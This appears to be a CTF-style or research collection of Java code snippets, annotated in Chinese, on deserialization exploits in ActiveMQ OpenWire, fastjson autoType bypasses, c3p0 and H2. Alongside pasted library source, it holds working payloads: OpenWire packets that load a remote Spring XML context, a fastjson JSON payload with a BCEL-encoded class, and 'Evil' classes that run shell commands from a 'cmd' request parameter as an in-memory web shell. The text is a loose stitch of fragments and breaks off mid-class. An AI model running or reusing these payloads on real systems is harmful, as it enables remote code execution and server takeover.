public static class GatewayEvaluationContext implements EvaluationContext {
    private final BeanFactoryResolver beanFactoryResolver;
    private final SimpleEvaluationContext delegate;

    public GatewayEvaluationContext(BeanFactory beanFactory) {
        this.beanFactoryResolver = new BeanFactoryResolver(beanFactory);
        Environment env = (Environment)beanFactory.getBean(Environment.class);
        boolean restrictive = (Boolean)env.getProperty("spring.cloud.gateway.restrictive-property-accessor.enabled", Boolean.class, true);
        if (restrictive) {
            this.delegate = SimpleEvaluationContext.forPropertyAccessors(new PropertyAccessor[]{new RestrictivePropertyAccessor()}).withMethodResolvers(new MethodResolver[]{(context, targetObject, name, argumentTypes) -> {
                return null;
            }}).build();
        } else {
            this.delegate = SimpleEvaluationContext.forReadOnlyDataBinding().build();
        }

    }

public T addObject(K name, Object value) {
    return this.add(name, this.valueConverter.convertObject(ObjectUtil.checkNotNull(value, "value")));
}
public T add(K name, V value) {
    this.nameValidator.validateName(name);
    ObjectUtil.checkNotNull(value, "value");
    int h = this.hashingStrategy.hashCode(name);
    int i = this.index(h);
    this.add0(h, i, name, value);
    return this.thisT();
}

public T addObject(K name, Object value) {
    return this.add(name, this.valueConverter.convertObject(ObjectUtil.checkNotNull(value, "value")));
}

private static final class HeaderValueConverterAndValidator extends HeaderValueConverter {
    static final HeaderValueConverterAndValidator INSTANCE = new HeaderValueConverterAndValidator();

    private HeaderValueConverterAndValidator() {
        super(null);
    }

    public CharSequence convertObject(Object value) {
        CharSequence seq = super.convertObject(value);
        int state = 0;

        for(int index = 0; index < seq.length(); ++index) {
            state = validateValueChar(seq, state, seq.charAt(index));
        }

        if (state != 0) {
            throw new IllegalArgumentException("a header value must not end with '\\r' or '\\n':" + seq);
        } else {
            return seq;
        }
    }

    private static int validateValueChar(CharSequence seq, int state, char character) {
        if ((character & -16) == 0) {
            switch (character) {
                case '\u0000':
                    throw new IllegalArgumentException("a header value contains a prohibited character '\u0000': " + seq);
                case '\u000b':
                    throw new IllegalArgumentException("a header value contains a prohibited character '\\v': " + seq);
                case '\f':
                    throw new IllegalArgumentException("a header value contains a prohibited character '\\f': " + seq);
            }
        }

        switch (state) {
            case 0:
                switch (character) {
                    case '\n':
                        return 2;
                    case '\r':
                        return 1;
                }
            default:
                return state;
            case 1:
                if (character == '\n') {
                    return 2;
                }

                throw new IllegalArgumentException("only '\\n' is allowed after '\\r': " + seq);
            case 2:
                switch (character) {
                    case '\t':
                    case ' ':
                        return 0;
                    default:
                        throw new IllegalArgumentException("only ' ' and '\\t' are allowed after '\\n': " + seq);
                }
        }
    }

public T add(K name, V value) {
    this.validateName(this.nameValidator, true, name);
    this.validateValue(this.valueValidator, name, value);
    ObjectUtil.checkNotNull(value, "value");
    int h = this.hashingStrategy.hashCode(name);
    int i = this.index(h);
    this.add0(h, i, name, value);
    return this.thisT();
}

private Throwable createThrowable(String className, String message) {
    try {
        Class clazz = Class.forName(className, false, BaseDataStreamMarshaller.class.getClassLoader());
        Constructor constructor = clazz.getConstructor(String.class);
        return (Throwable)constructor.newInstance(message);
    } catch (Throwable var5) {
        return new Throwable(className + ": " + message);
    }
}

public void tightUnmarshal(OpenWireFormat wireFormat, Object o, DataInput dataIn, BooleanStream bs) throws IOException {
    super.tightUnmarshal(wireFormat, o, dataIn, bs);
    ExceptionResponse info = (ExceptionResponse)o;
    info.setException(this.tightUnmarsalThrowable(wireFormat, dataIn, bs));
}

public Object doUnmarshal(DataInput dis) throws IOException {
    byte dataType = dis.readByte();
    if (dataType != 0) {
        DataStreamMarshaller dsm = this.dataMarshallers[dataType & 255];
        if (dsm == null) {
            throw new IOException("Unknown data type: " + dataType);
        } else {
            Object data = dsm.createObject();
            if (this.tightEncodingEnabled) {
                BooleanStream bs = new BooleanStream();
                bs.unmarshal(dis);
                dsm.tightUnmarshal(this, data, dis, bs);
            } else {
                dsm.looseUnmarshal(this, data, dis);
            }

            return data;
        }
    } else {
        return null;
    }
}

protected Throwable tightUnmarsalThrowable(OpenWireFormat wireFormat, DataInput dataIn, BooleanStream bs) throws IOException {
    if (!bs.readBoolean()) {
        return null;
    } else {
        String clazz = this.tightUnmarshalString(dataIn, bs);
        String message = this.tightUnmarshalString(dataIn, bs);
        Throwable o = this.createThrowable(clazz, message);

public class ExceptionResponse extends Response {
    public static final byte DATA_STRUCTURE_TYPE = 31;

ByteArrayOutputStream bos = new ByteArrayOutputStream();
DataOutput dataOutput = new DataOutputStream(bos);
dataOutput.writeInt(0);
dataOutput.writeByte(31);

dataOutput.writeInt(1);
dataOutput.writeBoolean(true);
dataOutput.writeInt(1);
dataOutput.writeBoolean(true);
dataOutput.writeBoolean(true);
dataOutput.writeUTF("org.springframework.context.support.ClassPathXmlApplicationContext");
dataOutput.writeBoolean(true);
dataOutput.writeUTF("http://localhost:8000/abcd");

Socket socket = new Socket("localhost", 61616);
OutputStream socketOutputStream = socket.getOutputStream();
socketOutputStream.write(bos.toByteArray());
socketOutputStream.close();

ByteArrayOutputStream bos = new ByteArrayOutputStream();
DataOutput dataOutput = new DataOutputStream(bos);
dataOutput.writeInt(0);
dataOutput.writeByte(31);

BooleanStream bs = new BooleanStream();
bs.writeBoolean(true);
bs.writeBoolean(true);
bs.writeBoolean(true);
bs.writeBoolean(false);
bs.writeBoolean(true);
bs.writeBoolean(false);

bs.marshal(dataOutput);

dataOutput.writeUTF("bb");
dataOutput.writeUTF("aa");

dataOutput.writeUTF("org.springframework.context.support.ClassPathXmlApplicationContext");
dataOutput.writeUTF("http://localhost:8000/abcd");

bos.flush();

Socket socket =new Socket("127.0.0.1", 61616);
OutputStream socketOutputStream = socket.getOutputStream();
socketOutputStream.write(bos.toByteArray());
socketOutputStream.close();

public class BrokerRegistry {
    private static final Logger LOG = LoggerFactory.getLogger(BrokerRegistry.class);
    private static final BrokerRegistry INSTANCE = new BrokerRegistry();
    private final Object mutex = new Object();
    private final Map<String, BrokerService> brokers = new HashMap();

    public BrokerRegistry() {
    }

    public static BrokerRegistry getInstance() {
        return INSTANCE;
    }

ConnectionFactory connectionFactory = new ActiveMQConnectionFactory(ActiveMQConnection.DEFAULT_USER,
        ActiveMQConnection.DEFAULT_PASSWORD, "tcp://localhost:61616");

Connection connection = connectionFactory.createConnection();
connection.start();
Session session = connection.createSession(false, Session.AUTO_ACKNOWLEDGE);
Destination destination = session.createQueue("tempQueue");
MessageConsumer consumer = session.createConsumer(destination);
consumer.setMessageListener(new MessageListener() {
    @Override
    public void onMessage(Message message) {

        try {
            message.acknowledge();
            TextMessage om = (TextMessage) message;
            String data = om.getText();
            System.out.println(data);
        } catch (JMSException e) {
            e.printStackTrace();
        }
    }
});
System.in.read();
session.close();
connection.close();

public class TopicConsumer {

    public void consumer() throws JMSException, IOException {
        ConnectionFactory factory = null;
        Connection connection = null;
        Session session = null;
        MessageConsumer consumer = null;
        try {
            factory = new ActiveMQConnectionFactory("admin","admin","tcp://localhost:61616");
            connection = factory.createConnection();

            connection.start();
            session = connection.createSession(false, Session.AUTO_ACKNOWLEDGE);
            Destination destination = session.createTopic(TopicProducer.QUEUE_NAME);
            consumer = session.createConsumer(destination);
           
            consumer.setMessageListener(new MessageListener() {
                @Override
                public void onMessage(Message message) {

                    try {
                        TextMessage om = (TextMessage) message;
                        String data = om.getText();
                        System.out.println(data);
                    } catch (JMSException e) {
                        e.printStackTrace();
                    }
                }
            });
        } catch(Exception ex){
            throw ex;
        }
    }

    public static void main(String[] args){
        TopicConsumer consumer = new TopicConsumer();
        try{
            consumer.consumer();
        } catch (Exception ex){
            ex.printStackTrace();
        }
    }
}

protected Class loadClass(String class_name, boolean resolve)
  throws ClassNotFoundException
{
  Class cl = null;

  /* First try: lookup hash table.
   */
  if((cl=(Class)classes.get(class_name)) == null) {
    /* Second try: Load system class using system class loader. You better
     * don't mess around with them.
     */
    for(int i=0; i < ignored_packages.length; i++) {
      if(class_name.startsWith(ignored_packages[i])) {
        cl = deferTo.loadClass(class_name);
        break;
      }
    }

    if(cl == null) {
      JavaClass clazz = null;

      /* Third try: Special request?
       */
      if(class_name.indexOf("$$BCEL$$") >= 0)
        clazz = createClass(class_name);
      else { // Fourth try: Load classes via repository
        if ((clazz = repository.loadClass(class_name)) != null) {
          clazz = modifyClass(clazz);
        }
        else
          throw new ClassNotFoundException(class_name);
      }

      if(clazz != null) {
        byte[] bytes  = clazz.getBytes();
        cl = defineClass(class_name, bytes, 0, bytes.length);
      } else // Fourth try: Use default class loader
        cl = Class.forName(class_name);
    }

protected JavaClass createClass(String class_name) {
  int    index     = class_name.indexOf("$$BCEL$$");
  String real_name = class_name.substring(index + 8);

  JavaClass clazz = null;
  try {
    byte[]      bytes  = Utility.decode(real_name, true);
    ClassParser parser = new ClassParser(new ByteArrayInputStream(bytes), "foo");

    clazz = parser.parse();
  } catch(Throwable e) {
    e.printStackTrace();
    return null;
  }

private synchronized void initializeDriver() throws SQLException {
    if (!registeredDrivers.containsKey(this.driver)) {
        try {
            Class driverType;
            if (this.driverClassLoader != null) {
                driverType = Class.forName(this.driver, true, this.driverClassLoader);
            } else {
                driverType = Resources.classForName(this.driver);
            }

            Driver driverInstance = (Driver)driverType.getDeclaredConstructor().newInstance();
            DriverManager.registerDriver(new DriverProxy(driverInstance));
            registeredDrivers.put(this.driver, driverInstance);
        } catch (Exception var3) {
            throw new SQLException("Error setting driver on UnpooledDataSource. Cause: " + var3);
        }
    }

}

for(i = 0; i < this.denyList.length; ++i) {
    deny = this.denyList[i];
    if (className.startsWith(deny)) {
        throw new JSONException("autoType is not support. " + typeName);
    }
}
在fastjson >= 33时，就算反序列的类在黑名单中，只要反序列的类在mapping中就不会抛出异常，所以通过java.lang.Class将恶意类加入到mapping后能够利用
for(i = 0; i < this.denyList.length; ++i) {
    deny = this.denyList[i];
    if (className.startsWith(deny) && TypeUtils.getClassFromMapping(typeName) == null) {
        throw new JSONException("autoType is not support. " + typeName);
    }
}

public Class<?> checkAutoType(String typeName, Class<?> expectClass) {
    if (typeName == null) {
        return null;
    } else {
        String className = typeName.replace('$', '.');
        if (this.autoTypeSupport || expectClass != null) {
            int i;
            String deny;
            for(i = 0; i < this.acceptList.length; ++i) {
                deny = this.acceptList[i];
                if (className.startsWith(deny)) {
                    return TypeUtils.loadClass(typeName, this.defaultClassLoader);
                }
            }

            for(i = 0; i < this.denyList.length; ++i) {
                deny = this.denyList[i];
                if (className.startsWith(deny)) {
                    throw new JSONException("autoType is not support. " + typeName);
                }
            }
        }

        Class<?> clazz = TypeUtils.getClassFromMapping(typeName);
        if (clazz == null) {
            clazz = this.deserializers.findClass(typeName);
        }

        if (clazz != null) {
            if (expectClass != null && !expectClass.isAssignableFrom(clazz)) {
                throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
            } else {
                return clazz;
            }
        } else {
            if (!this.autoTypeSupport) {
                String accept;
                int i;
                for(i = 0; i < this.denyList.length; ++i) {
                    accept = this.denyList[i];
                    if (className.startsWith(accept)) {
                        throw new JSONException("autoType is not support. " + typeName);
                    }
                }

                for(i = 0; i < this.acceptList.length; ++i) {
                    accept = this.acceptList[i];
                    if (className.startsWith(accept)) {
                        clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader);
                        if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
                            throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
                        }

                        return clazz;
                    }
                }
            }

            if (this.autoTypeSupport || expectClass != null) {
                clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader);
            }

            if (clazz != null) {
                if (ClassLoader.class.isAssignableFrom(clazz) || DataSource.class.isAssignableFrom(clazz)) {
                    throw new JSONException("autoType is not support. " + typeName);
                }

                if (expectClass != null) {
                    if (expectClass.isAssignableFrom(clazz)) {
                        return clazz;
                    }

                    throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
                }
            }

            if (!this.autoTypeSupport) {
                throw new JSONException("autoType is not support. " + typeName);
            } else {
                return clazz;
            }
        }
    }
}

        如果exceptclass不为空，进行黑白名单检测
        
        Class<?> clazz = TypeUtils.getClassFromMapping(typeName);
        if (clazz == null) {
            clazz = this.deserializers.findClass(typeName);
        }
        
        if(clazz != null){
            return clazz;
        }
        
        必定进行黑白名单检测
        
        clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader); 
        
        if (ClassLoader.class.isAssignableFrom(clazz) || DataSource.class.isAssignableFrom(clazz)) {
                    throw new JSONException("autoType is not support. " + typeName);
        }
根据之前的经验，能够知道TypeUtils.loadClass获取clazz时，存在一些黑名单绕过的方式。
public static Class<?> loadClass(String className, ClassLoader classLoader) {
    if (className != null && className.length() != 0) {
        Class<?> clazz = (Class)mappings.get(className);
        if (clazz != null) {
            return clazz;
        } else if (className.charAt(0) == '[') {
            Class<?> componentType = loadClass(className.substring(1), classLoader);
            return Array.newInstance(componentType, 0).getClass();
        } else if (className.startsWith("L") && className.endsWith(";")) {
            String newClassName = className.substring(1, className.length() - 1);
            return loadClass(newClassName, classLoader);
        } else {
            try {
                if (classLoader != null) {
                    clazz = classLoader.loadClass(className);
                    mappings.put(className, clazz);
                    return clazz;
                }
            } catch (Throwable var6) {
                var6.printStackTrace();
            }

            try {
                ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
                if (contextClassLoader != null && contextClassLoader != classLoader) {
                    clazz = contextClassLoader.loadClass(className);
                    mappings.put(className, clazz);
                    return clazz;
                }
            } catch (Throwable var5) {
            }

            try {
                clazz = Class.forName(className);
                mappings.put(className, clazz);
                return clazz;
            } catch (Throwable var4) {
                return clazz;
            }
        }
    } else {
        return null;
    }
}

public static Class<?> getClassFromMapping(String className) {
    return (Class)mappings.get(className);
}

if (this.autoTypeSupport || expectClass != null) {
    clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader);
}

if (clazz != null) {
    if (ClassLoader.class.isAssignableFrom(clazz) || DataSource.class.isAssignableFrom(clazz)) {
        throw new JSONException("autoType is not support. " + typeName);
    }

if (expectClass != null) {
    if (expectClass.isAssignableFrom(clazz)) {
        return clazz;
}

if (deserializer == null) {
    Class<?> expectClass = TypeUtils.getClass(type);
    userType = config.checkAutoType(ref, expectClass);
    deserializer = parser.getConfig().getDeserializer(userType);
}

if (key == "$ref" && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {
    .....................
    if ("..".equals(ref)) {
        if (context.object != null) {
            refValue = context.object;
        } else {
            this.addResolveTask(new ResolveTask(context, ref));
            this.setResolveStatus(1);
        }
        break;
    }

    if (!"$".equals(ref)) {
        this.addResolveTask(new ResolveTask(context, ref));
        this.setResolveStatus(1);
        break;
    }

    for(rootContext = context; rootContext.parent != null; rootContext = rootContext.parent) {
    }

    if (rootContext.object != null) {
        refValue = rootContext.object;
    } else {
        this.addResolveTask(new ResolveTask(rootContext, ref));
        this.setResolveStatus(1);
    }
    break;
}

if (object.getClass() == JSONObject.class) {
    key = key == null ? "null" : key.toString();
}

public void handleResovleTask(Object value) {
    if (this.resolveTaskList != null) {
        int i = 0;

        for(int size = this.resolveTaskList.size(); i < size; ++i) {
            ResolveTask task = (ResolveTask)this.resolveTaskList.get(i);
            String ref = task.referenceValue;
            Object object = null;
            if (task.ownerContext != null) {
                object = task.ownerContext.object;
            }

            Object refValue = ref.startsWith("$") ? this.getObject(ref) : task.context.object;
            FieldDeserializer fieldDeser = task.fieldDeserializer;
            if (fieldDeser != null) {
                if (refValue != null && refValue.getClass() == JSONObject.class && fieldDeser.fieldInfo != null && !Map.class.isAssignableFrom(fieldDeser.fieldInfo.fieldClass)) {
                    Object root = this.contextArray[0].object;
                    refValue = JSONPath.eval(root, ref);
                }

                fieldDeser.setValue(object, refValue);
            }
        }

public void handleResovleTask(Object value) {
    if (this.resolveTaskList != null) {
        int i = 0;

        for(int size = this.resolveTaskList.size(); i < size; ++i) {
            ResolveTask task = (ResolveTask)this.resolveTaskList.get(i);
            String ref = task.referenceValue;
            Object object = null;
            if (task.ownerContext != null) {
                object = task.ownerContext.object;
            }

            Object refValue;
            if (ref.startsWith("$")) {
                refValue = this.getObject(ref);
                if (refValue == null) {
                    try {
                        refValue = JSONPath.eval(value, ref);
                    } catch (JSONPathException var10) {
                    }
                }
            } else {
                refValue = task.context.object;
            }

            FieldDeserializer fieldDeser = task.fieldDeserializer;
            if (fieldDeser != null) {
                if (refValue != null && refValue.getClass() == JSONObject.class && fieldDeser.fieldInfo != null && !Map.class.isAssignableFrom(fieldDeser.fieldInfo.fieldClass)) {
                    Object root = this.contextArray[0].object;
                    refValue = JSONPath.eval(root, ref);
                }

if (refValue != null && refValue.getClass() == JSONObject.class && fieldDeser.fieldInfo != null && !Map.class.isAssignableFrom(fieldDeser.fieldInfo.fieldClass)) {
                    Object root = this.contextArray[0].object;
                    refValue = JSONPath.eval(root, ref);
                }

public <T> T deserialze(DefaultJSONParser parser, Type type, Object fieldName) {
    if (type == JSONObject.class && parser.getFieldTypeResolver() == null) {
        return parser.parseObject();
    } 
boolean parentIsArray = fieldName != null && fieldName.getClass() == Integer.class;
JSONObject input = new JSONObject(lexer.isEnabled(Feature.OrderedField));
ParseContext ctxLocal = null;
if (!parentIsArray) {
    ctxLocal = this.setContext(context, input, key);
}

protected Object getPropertyValue(Object currentObject, String propertyName, boolean strictMode) {
    if (currentObject == null) {
        return null;
    } else if (currentObject instanceof Map) {
        Map map = (Map)currentObject;
        Object val = map.get(propertyName);
        if (val == null && "size".equals(propertyName)) {
            val = map.size();
        }

        return val;
    } else {
        Class<?> currentClass = currentObject.getClass();
        JavaBeanSerializer beanSerializer = this.getJavaBeanSerializer(currentClass);
        if (beanSerializer != null) {
            try {
                return beanSerializer.getFieldValue(currentObject, propertyName);
            } catch (Exception var12) {
                throw new JSONPathException("jsonpath error, path " + this.path + ", segement " + propertyName, var12);
            }
        } else if (currentObject instanceof List) {
            List list = (List)currentObject;
            if ("size".equals(propertyName)) {
                return list.size();
            } else {
                List<Object> fieldValues = new JSONArray(list.size());

                for(int i = 0; i < list.size(); ++i) {
                    Object obj = list.get(i);
                    Object itemValue = this.getPropertyValue(obj, propertyName, strictMode);
                    if (itemValue instanceof Collection) {
                        Collection collection = (Collection)itemValue;
                        fieldValues.addAll(collection);
                    } else {
                        fieldValues.add(itemValue);
                    }
                }

                return fieldValues;
            }
        } else {
            if (currentObject instanceof Enum) {
                Enum e = (Enum)currentObject;
                if ("name".equals(propertyName)) {
                    return e.name();
                }

                if ("ordinal".equals(propertyName)) {
                    return e.ordinal();
                }
            }

            if (currentObject instanceof Calendar) {
                Calendar e = (Calendar)currentObject;
                if ("year".equals(propertyName)) {
                    return e.get(1);
                }

                if ("month".equals(propertyName)) {
                    return e.get(2);
                }

                if ("day".equals(propertyName)) {
                    return e.get(5);
                }

                if ("hour".equals(propertyName)) {
                    return e.get(11);
                }

                if ("minute".equals(propertyName)) {
                    return e.get(12);
                }

                if ("second".equals(propertyName)) {
                    return e.get(13);
                }
            }

            throw new JSONPathException("jsonpath error, path " + this.path + ", segement " + propertyName);
        }
    }
}

js =    "[{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"}," +
        "{\"@type\":\"java.lang.Class\",\"val\":\"org.apache.ibatis.datasource.unpooled.UnpooledDataSource\"}," +
        "]";

System.out.println(js);
JSON.parse(js);

js = "[" +
        "{\"@type\":\"org.apache.ibatis.datasource.unpooled.UnpooledDataSource\", \"driverClassLoader\":{\"$ref\":\"$[1]\"}, \"driver\":\"$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmQMO$h1$Q$7dN$96$ec$H$h$C$a1$J$94$C$N$a5$zI$r$c8$81cP$_$V$95$aan$L$o$u$a8G$c75$c1tY$af6$O$f0$8f8s$a1$V$95$da$7b$7f$Ub$bcEi$q$ea$83g$e6$bd7$cfc$fb$cf$dd$ed$_$A$dbh$G$f0$b1$Y$e0$v$96$3c$3c$b3q$d9$c5$8a$8b$d5$A$r$3cw$d1p$b1$c6P$daQ$892o$Z$8a$cdV$8f$c1y$a7$bfJ$86J$a4$S$f9yt$d6$97$d9$n$ef$c7$84T$p$zx$dc$e3$99$b2$f5$D$e8$98$T5$q$8fh$f7$5c$c5$j$GoG$c4$Pv$8c$e8Zt$ca$cfy$5b$e9$f6$87$bd$ddK$nS$a3tB$b2r$d7p$f1$ed$TOs$h$g$8a$n$e8$eaQ$s$e4$7bem$7dk$b7e$7bC$E$98v$f1$o$c4$3a$5e2$d4u$w$93$c6$so$d0$ub$Us$a3$b3$z$9e$a6$n$5e$e15$c3$fc$7fNcX$ca$d1$98$t$83$f6$c1$u1$eaL$8eI$eb$beA$b7$b0$c71$cc$fe$T$ee$f5O$a50$Ms$8fzi$d2$814$e3$a2$d6lE$8f4tCG$5eJ$c1$b0$d1$9c$60$bb$sS$c9$a03$d9$b0$9fi$n$87CjX$9cT$k$9ed$fa$c2$3eM$a7$d5$c3$g$3c$faG$bb$K$60$f69h$P$f3$P$a6G$a68$f5$e6$3b$d8uN$97i$P$u$822$H$V$ccP$W$fe$VQ5K$d1$c3$dc$d8$e0$Y$c5$9c$5b$f8$81B$b5x$D$e7$e8$K$e5$8f$3fQ$faB$8e$ee$ef$eb$9c$f4I$3aEBk$5d$a7$Mp$J$L$I$f5$I$f3$J$9b$k$lc$eb$w$e6$a9z$92$eb$K$91$8b$9aOD$3d$9fn$e1$k$acK$b2$e2$9a$C$A$A\"}," +
        "{\"@type\": \"com.sun.org.apache.bcel.internal.util.ClassLoader\",\"\":\"\"}," +
        "{\"@type\":\"com.alibaba.fastjson.JSONObject\",\"connection\":{}}," +
        "{\"@type\":\"org.apache.ibatis.datasource.unpooled.UnpooledDataSource\",\"driver\":{\"$ref\":\"$.connection\"}}" +
        "]";

System.out.println(js);
JSON.parse(js);

@ResponseBody
@PostMapping(value = {"/api/login"}, produces="application/json;charset=UTF-8")
public Object doLogin(@RequestBody User user, HttpServletRequest request){

protected Object getPropertyValue(Object currentObject, String propertyName, boolean strictMode) {
    if (currentObject == null) {
        return null;
    } else if (currentObject instanceof Map) {
        Map map = (Map)currentObject;
        Object val = map.get(propertyName);
        if (val == null && "size".equals(propertyName)) {
            val = map.size();
        }

        return val;
    } else {
        Class<?> currentClass = currentObject.getClass();
        JavaBeanSerializer beanSerializer = this.getJavaBeanSerializer(currentClass);
        if (beanSerializer != null) {
            try {
                return beanSerializer.getFieldValue(currentObject, propertyName);
            } catch (Exception var12) {
                throw new JSONPathException("jsonpath error, path " + this.path + ", segement " + propertyName, var12);
            }
        } else if (currentObject instanceof List) {
            List list = (List)currentObject;
            if ("size".equals(propertyName)) {
                return list.size();
            } else {
                List<Object> fieldValues = new JSONArray(list.size());

                for(int i = 0; i < list.size(); ++i) {
                    Object obj = list.get(i);
                    Object itemValue = this.getPropertyValue(obj, propertyName, strictMode);
                    if (itemValue instanceof Collection) {
                        Collection collection = (Collection)itemValue;
                        fieldValues.addAll(collection);
                    } else {
                        fieldValues.add(itemValue);
                    }
                }

                return fieldValues;
            }

public class User {

    private String username;
    private String password;
    private Object friend;

    public String getUsername() {
        return username;
    }

    public void setUsername(String username) {
        this.username = username;
    }

    public String getPassword() {
        return password;
    }

    public void setPassword(String password) {
        this.password = password;
    }

    public Object getFriend() {
        return friend;
    }

    public void setFriend(Object friend) {
        this.friend = friend;
    }

}

import java.io.IOException;
import java.io.PrintWriter;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.Scanner;

public class Evil {

    public Evil() throws IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {

        Class requestContextHolder = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.RequestContextHolder");

        Method m = requestContextHolder.getDeclaredMethod("getRequestAttributes");
        Object obj = m.invoke(null);

        m = obj.getClass().getMethod("getRequest");
        Object request = m.invoke(obj);

        m = obj.getClass().getMethod("getResponse");
        Object response = m.invoke(obj);

        m = request.getClass().getMethod("getParameter", String.class);

        String cmd = (String) m.invoke(request, "cmd");
        if(cmd == null){
            cmd = "id";
        }
        String[] cmds = {"sh", "-c", cmd};
        String output = new Scanner(Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter("\\A").next();

        m = response.getClass().getMethod("getWriter");
        PrintWriter printWriter = (PrintWriter) m.invoke(response);
        printWriter.println(output);
        printWriter.flush();
        printWriter.close();

    }

}

import java.io.IOException;
import java.io.InputStream;
import java.io.PrintWriter;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.Scanner;

public class Evil {

    public Evil() throws IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {

        Class requestContextHolder = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.RequestContextHolder");

        Method m = requestContextHolder.getDeclaredMethod("getRequestAttributes");
        Object obj = m.invoke(null);

        m = obj.getClass().getMethod("getRequest");
        Object request = m.invoke(obj);

        m = obj.getClass().getMethod("getResponse");
        Object response = m.invoke(obj);

        m = request.getClass().getMethod("getParameter", String.class);

        String cmd = (String) m.invoke(request, "cmd");
        if(cmd == null){
            cmd = "id";
        }
        String[] cmds = {"sh", "-c", cmd};
        String output = new Scanner(Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter("\\A").next();

        InputStream inputStream = Thread.currentThread().getContextClassLoader().getResourceAsStream("f111111ag.txt");;
        output = new Scanner(inputStream).useDelimiter("\\A").next();

        m = response.getClass().getMethod("getWriter");
        PrintWriter printWriter = (PrintWriter) m.invoke(response);
        printWriter.println(output);
        printWriter.flush();
        printWriter.close();

    }

}

if (key == "$ref" && context != null && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {

    typeName = lexer.stringVal();
    lexer.nextToken(13);
    Object refValue = null;
    ParseContext rootContext;
    if ("@".equals(typeName)) {
        if (this.context != null) {
            rootContext = this.context;
            thisObj = rootContext.object;
            if (!(thisObj instanceof Object[]) && !(thisObj instanceof Collection)) {
                if (rootContext.parent != null) {
                    refValue = rootContext.parent.object;
                }
            } else {
                refValue = thisObj;
            }
        }
    } else if ("..".equals(typeName)) {
        if (context.object != null) {
            refValue = context.object;
        } else {
            this.addResolveTask(new ResolveTask(context, typeName));
            this.setResolveStatus(1);
        }
    } else if ("$".equals(typeName)) {
        for(rootContext = context; rootContext.parent != null; rootContext = rootContext.parent) {
        }

        if (rootContext.object != null) {
            refValue = rootContext.object;
        } else {
            this.addResolveTask(new ResolveTask(rootContext, typeName));
            this.setResolveStatus(1);
        }
    } else {
        this.addResolveTask(new ResolveTask(context, typeName));
        this.setResolveStatus(1);
    }

public WrapperConnectionPoolDataSource(boolean autoregister){
  super(autoregister);
  this.connectionTester =   C3P0Registry.getDefaultConnectionTester();  
  this.setUpPropertyListeners(); // 设置属性监听器

public synchronized void setUserOverridesAsString(String userOverridesAsString) throws PropertyVetoException { 
        String oldVal = this.userOverridesAsString; 
        if (!this.eqOrBothNull(oldVal, userOverridesAsString)){ 
                this.vcs.fireVetoableChange("userOverridesAsString", oldVal, userOverridesAsString); 
        }

private void setUpPropertyListeners() { 
...................... 
if ("userOverridesAsString".equals(propName)) { 
  try { 
      WrapperConnectionPoolDataSource.this.userOverrides = C3P0ImplUtils.parseUserOverridesAsString((String)val); 
}

public static Map parseUserOverridesAsString(String userOverridesAsString) throws IOException, ClassNotFoundException { 
        if (userOverridesAsString != null) { 
                String hexAscii = userOverridesAsString.substring("HexAsciiSerializedMap".length() + 1, userOverridesAsString.length() - 1); 
                byte[] serBytes = ByteUtils.fromHexAscii(hexAscii); 
                return Collections.unmodifiableMap((Map)SerializableUtils.fromByteArray(serBytes)); 

org.h2.jdbcx.JdbcDataSource#getConnection
public Connection getConnection() throws SQLException { 
        this.debugCodeCall(“getConnection”); 
        return this.getJdbcConnection(this.userName,StringUtils.cloneCharArray(this.passwordChars)); //调用getJdbcConnection 
}

private JdbcConnection getJdbcConnection(String var1, char[] var2) throws SQLException { 
        if (this.isDebugEnabled()){ 
                this.debugCode("getJdbcConnection(" + quote(var1) + ", new char[0]);"); 
        } 
        Properties var3 = new Properties(); 
        var3.setProperty("user", var1); 
        var3.put("password", var2); 
        Connection var4 = Driver.load().connect(this.url, var3);

public Command prepareCommand(String var1) { 
        try { 
                Prepared var2 = this.parse(var1); 
                boolean var3 = this.isToken(";"); 
                if (!var3 && this.currentTokenType != 11) { 
                        throw this.getSyntaxError(); 
                } else { 
                        var2.prepare(); 
                        Object var4 = new CommandContainer(this, var1, var2); 
                        if (var3) { 
                                String var5 = this.originalSQL.substring(this.parseIndex);  //获取未执行的SQL语句 
                                if (var5.trim().length() != 0) { 
                                        var4 = new CommandList(this, var1, (Command)var4, var5); } } 
                                        return (Command)var4; 
                                 } 
                         } 
        catch (DbException var6) { 
            throw var6.addSQL(this.originalSQL); 
        } 
        
}

public int update() { 
        int var1 = this.command.executeUpdate(false).getUpdateCount();               this.executeRemaining(); 
        return var1; 
}

private void executeRemaining() { 
        Command var1 = this.session.prepareLocal(this.remaining);         
        if (var1.isQuery()) { 
                var1.query(0); 
        } else { 
                var1.update(); 
        } 
}

public String toString() {
    return this.toJSONString();
}

public String toJSONString() {
    SerializeWriter out = new SerializeWriter();

    String var2;
    try {
        (new JSONSerializer(out)).write(this);
        var2 = out.toString();
    } finally {
        out.close();
    }

    return var2;
}

import java.lang.reflect.Field;
import java.util.ArrayList;
import alibaba.payloads.util.Reflections;
import com.alibaba.fastjson.JSONArray;
import alibaba.payloads.util.Gadgets;
import alibaba.payloads.util.PayloadRunner;

import javax.management.BadAttributeValueExpException;

@SuppressWarnings({ "rawtypes", "unchecked" })
public class FastJSON extends PayloadRunner implements ObjectPayload<Object> {

    public Object getObject(final String command) throws Exception {

        BadAttributeValueExpException val = new BadAttributeValueExpException(null);
        Field valfield = val.getClass().getDeclaredField("val");
